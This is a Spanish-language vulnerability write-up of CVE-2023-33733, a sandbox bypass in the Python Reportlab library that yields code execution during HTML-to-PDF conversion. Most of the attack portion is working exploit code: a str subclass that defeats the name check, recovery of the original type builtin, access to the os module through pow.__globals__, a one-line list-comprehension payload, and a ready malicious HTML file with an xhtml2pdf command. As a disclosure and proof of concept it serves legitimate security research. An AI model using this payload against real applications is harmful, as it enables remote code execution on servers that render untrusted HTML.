
Análisis técnico detallado y exploit de prueba de concepto para CVE-2023-33733, una vulnerabilidad de ejecución remota de código en la librería Python Reportlab mediante la omisión del sandbox en el procesamiento de HTML a PDF.
tl;dr Este artículo detalla cómo se encontró y explotó una RCE en Reportlab. Debido a la prevalencia de Reportlab en el procesamiento de HTML a PDF, esta vulnerabilidad puede ser alcanzable en muchas aplicaciones que procesan archivos PDF, lo que la convierte en una importante para parchear y vigilar.
Hace unos días, durante una auditoría de aplicación web, notamos que la aplicación utilizaba la biblioteca Python Reportlab para realizar la generación dinámica de archivos PDF a partir de entrada HTML. Se descubrió que Reportlab tenía una vulnerabilidad previamente parcheada que conducía a la ejecución de código. Encontrar un bypass al parche resultó bastante interesante desde el punto de vista del atacante, ya que llevaría al redescubrimiento de la ejecución de código, especialmente porque la biblioteca Reportlab también se usa en otras aplicaciones y herramientas.
Primero lo primero, un breve resumen: Reportlab es un proyecto de código abierto que permite la creación de documentos en el Formato de Documento Portátil (PDF) de Adobe utilizando el lenguaje de programación Python. También crea gráficos y datos gráficos en varios formatos de mapa de bits y vectoriales, así como PDF.
La biblioteca sufrió en 2019 un exploit similar que conducía a la ejecución remota de código mediante el atributo Color de las etiquetas HTML; el contenido del atributo era evaluado directamente como una expresión de Python usando la función , lo que llevaba a la ejecución de código. Para mitigar el problema, Reportlab implementó un sandbox llamado que está despojado de todas las funciones integradas de Python y tiene múltiples funciones integradas reemplazadas para permitir la ejecución del código seguro de la biblioteca mientras se detiene cualquier acceso a funciones y bibliotecas peligrosas que puedan conducir a la construcción de código Python peligroso:
evalrl_safe_evalUn ejemplo de estas medidas de prevención es que la función integrada getattr es reemplazada por una función restringida __rl_getitem__ que prohíbe el acceso a cualquier atributo peligroso de los objetos, como los que comienzan con __:
class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# EN ESTA LÍNEA SE PUEDE OBSERVAR QUE EL BUILTIN GETATR ES REEMPLAZADO POR UNA FUNCIÓN PERSONALIZADA
# QUE VERIFICA LA SEGURIDAD DEL NOMBRE DEL ATRIBUTO PASADO ANTES DE OBTENERLO
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# SE REALIZAN MÚLTIPLES VERIFICACIONES ANTES DE OBTENER EL ATRIBUTO Y DEVOLVERLO
# AL LLAMANTE EN EL ENTORNO EVAL SANDBOXED
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
# NO ACCESO A ATRIBUTOS QUE COMIENCEN CON __ O QUE COINCIDAN CON NOMBRES DE ATRIBUTOS INSEGUROS PREDEFINIDOS
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
El eval seguro, como se describió anteriormente, sanitiza el entorno eliminando todas las funciones peligrosas, de modo que el código ejecutado no tenga acceso a herramientas peligrosas que puedan usarse para realizar acciones maliciosas. Sin embargo, si se encuentra un bypass a esas restricciones y se logra el acceso a una de las funciones integradas originales, facilitaría enormemente la explotación del entorno sandboxed.
Una de las muchas clases integradas reemplazadas se llama type; si esta clase se llama con un argumento, devuelve el tipo de un objeto. Sin embargo, si se llama con tres argumentos, devuelve un nuevo objeto de tipo. Esto es esencialmente una forma dinámica de la declaración de clase. En otras palabras, puede permitir la creación de una nueva clase que herede de otra clase.
Así que la idea aquí es crear una nueva clase llamada Word que herede de str y que, al pasarse al getattr personalizado, eluda las comprobaciones y permita el acceso a atributos sensibles como __code__.
Antes de que el getattr personalizado en el eval sandboxed devuelva el atributo, realiza algunas comprobaciones llamando a __rl_is_allowed_name__ para verificar la seguridad del atributo llamado antes de llamar al getattr integrado de Python y devolver el resultado.
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
Para eludir la función __rl_is_allowed_name__, la clase Word debe:
False para las llamadas a la función startswith para eludir (name.startswith('__')False en su primera llamada a __eq__ para eludir name in __rl_unsafe__; después de la primera llamada, debe devolver la respuesta correcta porque cuando __eq__ es llamado por el getattr integrado de Python, debe devolver el resultado correcto.La siguiente clase cumple estos criterios:
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## imprime False
print(code == '__code__') ## imprime True
print(code == '__code__') ## imprime True
print(code == '__code__') ## imprime True
print(code.startswith('__')) ## imprime False
La función type personalizada en el eval seguro no permite que se le pasen tres argumentos:
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('type call error')
Se encontró un bypass para esto llamando a type sobre sí mismo, lo que permite recuperar la función type integrada original:
orgTypeFun = type(type(1))
Combinando estas dos líneas de código se obtendría algo como esto:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
El exploit original sufría de múltiples limitaciones que lo hacían explotable solo en Python 3.10; para resolver estos problemas se ha creado un nuevo enfoque para acceder al módulo os de Python.
La biblioteca Reportlab reemplaza la implementación de múltiples funciones integradas y las inyecta como variables globales en el contexto de eval.
Ejemplo de funciones integradas predeterminadas reemplazadas por funciones personalizadas en rl_safe_eval.py:
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
__rl_builtins__['iter'] = self.__rl_getiter__
__rl_builtins__['pow'] = self.__rl_pow__
__rl_builtins__['list'] = self.__rl_list__
__rl_builtins__['type'] = self.__rl_type__
__rl_builtins__['max'] = self.__rl_max__
Dado que estas funciones están construidas en el contexto global, se puede acceder a las variables y módulos globales utilizando el atributo __globals__ de estas funciones personalizadas.
El siguiente código debe ejecutarse dentro del contexto eval
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')
Ahora solo queda escribir el exploit:
Para ello, se reconstruirá una función a partir del código de bytes de una compilada:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self))
})
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')
Sin embargo, una expresión multilínea como esta no se ejecutará en un contexto eval. Para eludir este problema, se puede usar el truco de list comprehension, algo como esto:
[print(x) for x in ['hellworld']]
# que sería equivalente a
x='helloworld'
print(x)
[[ print (x + ' ' + y) for y in ['second var']] for x in ['first var']]
# que sería equivalente a
x='first var'
x='second var'
print (x + ' ' + y)
Con esta técnica, el código del exploit se puede reescribir en una línea de código así (esto se considera una línea x; el formato multilínea aquí es solo para mejorar la legibilidad del exploit. Las declaraciones deben leerse de abajo hacia arriba x) extraño, pero así es como funciona):
[
[
getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
for Word in [
orgTypeFun(
'Word',
(str,),
{
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate()
and self.mutated < 0
and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self)),
},
)
]
]
for orgTypeFun in [type(type(1))]
]
Consulte el archivo poc.py, ya que contiene una prueba de concepto que demuestra la ejecución de código (tras una explotación exitosa, se crea un archivo llamado exploited en /tmp/).
Muchas aplicaciones y bibliotecas utilizan la biblioteca Reportlab; por ejemplo, la función de utilidad xhtml2pdf es vulnerable y puede sufrir ejecución de código al transformar HTML malicioso a PDF
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
EOF
xhtml2pdf mallicious.html
ls -al /tmp/exploited
Quiero agradecer a Matthias Weckbecker por su colaboración y el maravilloso intercambio discutiendo las limitaciones del exploit original. Ahora el exploit funciona sin problemas en todas las versiones de Python 3 :D